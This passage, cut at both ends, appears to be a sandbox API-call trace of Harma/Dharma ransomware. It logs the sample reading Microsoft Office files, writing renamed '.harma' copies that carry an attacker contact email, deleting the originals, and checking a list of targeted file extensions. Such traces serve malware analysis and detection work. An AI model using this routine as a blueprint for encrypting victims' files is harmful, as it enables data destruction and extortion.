dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.688] GetLastError () returned 0x0 [0157.688] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xd1, lpOverlapped=0x0) returned 1 [0157.689] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0157.689] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.689] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0157.690] SetEndOfFile (hFile=0x210) returned 1 [0157.690] CloseHandle (hObject=0x210) returned 1 [0157.690] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.690] SetEndOfFile (hFile=0x388) returned 1 [0157.696] CloseHandle (hObject=0x388) returned 1 [0157.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 1 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.697] lstrlenW (lpString=".doc") returned 4 [0157.697] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.697] lstrlenW (lpString=".docx") returned 5 [0157.697] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.697] lstrlenW (lpString=".pdf") returned 4 [0157.697] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.697] lstrlenW (lpString=".xls") returned 4 [0157.697] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.697] lstrlenW (lpString=".xlsx") returned 5 [0157.697] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.697] lstrlenW (lpString=".ppt") returned 4 [0157.697] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.697] lstrlenW (lpString=".zip") returned 4 [0157.697] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.697] lstrlenW (lpString=".rar") returned 4 [0157.697] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.697] lstrlenW (lpString=".bz2") returned 4 [0157.697] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.697] lstrlenW (lpString=".7z") returned 3 [0157.697] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.697] lstrlenW (lpString=".dbf") returned 4 [0157.697] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.698] lstrlenW (lpString=".1cd") returned 4 [0157.698] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.698] lstrlenW (lpString=".jpg") returned 4 [0157.698] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.698] lstrlenW (lpString=".doc") returned 4 [0157.698] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.698] lstrlenW (lpString=".docx") returned 5 [0157.698] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.698] lstrlenW (lpString=".pdf") returned 4 [0157.698] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.698] lstrlenW (lpString=".xls") returned 4 [0157.698] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.698] lstrlenW (lpString=".xlsx") returned 5 [0157.698] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.698] lstrlenW (lpString=".ppt") returned 4 [0157.698] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.698] lstrlenW (lpString=".zip") returned 4 [0157.698] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.698] lstrlenW (lpString=".rar") returned 4 [0157.698] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.698] lstrlenW (lpString=".bz2") returned 4 [0157.698] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.698] lstrlenW (lpString=".7z") returned 3 [0157.698] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.699] lstrlenW (lpString=".dbf") returned 4 [0157.699] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.699] lstrlenW (lpString=".1cd") returned 4 [0157.699] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0157.699] lstrlenW (lpString=".jpg") returned 4 [0157.699] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.699] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.699] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19 [0157.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.700] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0157.700] CloseHandle (hObject=0x388) returned 1 [0157.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 0x20 [0157.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.700] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.700] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.701] GetLastError () returned 0x0 [0157.701] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0157.702] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.703] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.703] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0157.703] SetEndOfFile (hFile=0x210) returned 1 [0157.703] CloseHandle (hObject=0x210) returned 1 [0157.703] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.703] SetEndOfFile (hFile=0x388) returned 1 [0157.706] CloseHandle (hObject=0x388) returned 1 [0157.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.707] lstrlenW (lpString=".doc") returned 4 [0157.707] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.707] lstrlenW (lpString=".docx") returned 5 [0157.707] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.707] lstrlenW (lpString=".pdf") returned 4 [0157.707] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.707] lstrlenW (lpString=".xls") returned 4 [0157.707] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.707] lstrlenW (lpString=".xlsx") returned 5 [0157.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.707] lstrlenW (lpString=".ppt") returned 4 [0157.707] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.707] lstrlenW (lpString=".zip") returned 4 [0157.707] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.707] lstrlenW (lpString=".rar") returned 4 [0157.707] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.707] lstrlenW (lpString=".bz2") returned 4 [0157.707] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.707] lstrlenW (lpString=".7z") returned 3 [0157.707] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.707] lstrlenW (lpString=".dbf") returned 4 [0157.707] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.707] lstrlenW (lpString=".1cd") returned 4 [0157.707] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.707] lstrlenW (lpString=".jpg") returned 4 [0157.707] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.708] lstrlenW (lpString=".doc") returned 4 [0157.708] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.708] lstrlenW (lpString=".docx") returned 5 [0157.708] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.708] lstrlenW (lpString=".pdf") returned 4 [0157.708] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.708] lstrlenW (lpString=".xls") returned 4 [0157.708] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.708] lstrlenW (lpString=".xlsx") returned 5 [0157.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.708] lstrlenW (lpString=".ppt") returned 4 [0157.708] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.708] lstrlenW (lpString=".zip") returned 4 [0157.708] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.708] lstrlenW (lpString=".rar") returned 4 [0157.708] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.708] lstrlenW (lpString=".bz2") returned 4 [0157.708] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.708] lstrlenW (lpString=".7z") returned 3 [0157.708] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.708] lstrlenW (lpString=".dbf") returned 4 [0157.708] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.708] lstrlenW (lpString=".1cd") returned 4 [0157.708] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0157.708] lstrlenW (lpString=".jpg") returned 4 [0157.709] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.709] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.709] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19 [0157.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.709] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0157.709] CloseHandle (hObject=0x388) returned 1 [0157.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 0x20 [0157.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.710] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.710] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.711] GetLastError () returned 0x0 [0157.711] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0157.711] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.712] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.712] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0157.712] SetEndOfFile (hFile=0x210) returned 1 [0157.713] CloseHandle (hObject=0x210) returned 1 [0157.713] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.713] SetEndOfFile (hFile=0x388) returned 1 [0157.715] CloseHandle (hObject=0x388) returned 1 [0157.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 1 [0157.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.717] lstrlenW (lpString=".doc") returned 4 [0157.717] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.717] lstrlenW (lpString=".docx") returned 5 [0157.717] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.717] lstrlenW (lpString=".pdf") returned 4 [0157.717] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.717] lstrlenW (lpString=".xls") returned 4 [0157.717] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.717] lstrlenW (lpString=".xlsx") returned 5 [0157.717] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.717] lstrlenW (lpString=".ppt") returned 4 [0157.717] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.717] lstrlenW (lpString=".zip") returned 4 [0157.717] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.718] lstrlenW (lpString=".rar") returned 4 [0157.718] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.718] lstrlenW (lpString=".bz2") returned 4 [0157.718] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.718] lstrlenW (lpString=".7z") returned 3 [0157.718] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.718] lstrlenW (lpString=".dbf") returned 4 [0157.718] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.718] lstrlenW (lpString=".1cd") returned 4 [0157.718] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.718] lstrlenW (lpString=".jpg") returned 4 [0157.718] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.718] lstrlenW (lpString=".doc") returned 4 [0157.718] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.718] lstrlenW (lpString=".docx") returned 5 [0157.718] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.718] lstrlenW (lpString=".pdf") returned 4 [0157.718] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.718] lstrlenW (lpString=".xls") returned 4 [0157.718] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.718] lstrlenW (lpString=".xlsx") returned 5 [0157.718] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.718] lstrlenW (lpString=".ppt") returned 4 [0157.718] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.718] lstrlenW (lpString=".zip") returned 4 [0157.719] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.719] lstrlenW (lpString=".rar") returned 4 [0157.719] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.719] lstrlenW (lpString=".bz2") returned 4 [0157.719] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.719] lstrlenW (lpString=".7z") returned 3 [0157.719] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.719] lstrlenW (lpString=".dbf") returned 4 [0157.719] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.719] lstrlenW (lpString=".1cd") returned 4 [0157.719] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0157.719] lstrlenW (lpString=".jpg") returned 4 [0157.719] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.719] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0157.719] lstrlenW (lpString="MSPUB.HXS") returned 9 [0157.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.720] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1886518) returned 1 [0157.720] CloseHandle (hObject=0x388) returned 1 [0157.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs")) returned 0x20 [0157.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.720] lstrlenW (lpString=".doc") returned 4 [0157.720] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.720] lstrlenW (lpString=".docx") returned 5 [0157.720] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0157.720] lstrlenW (lpString=".pdf") returned 4 [0157.720] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.720] lstrlenW (lpString=".xls") returned 4 [0157.720] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.720] lstrlenW (lpString=".xlsx") returned 5 [0157.721] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0157.721] lstrlenW (lpString=".ppt") returned 4 [0157.721] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.721] lstrlenW (lpString=".zip") returned 4 [0157.721] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.721] lstrlenW 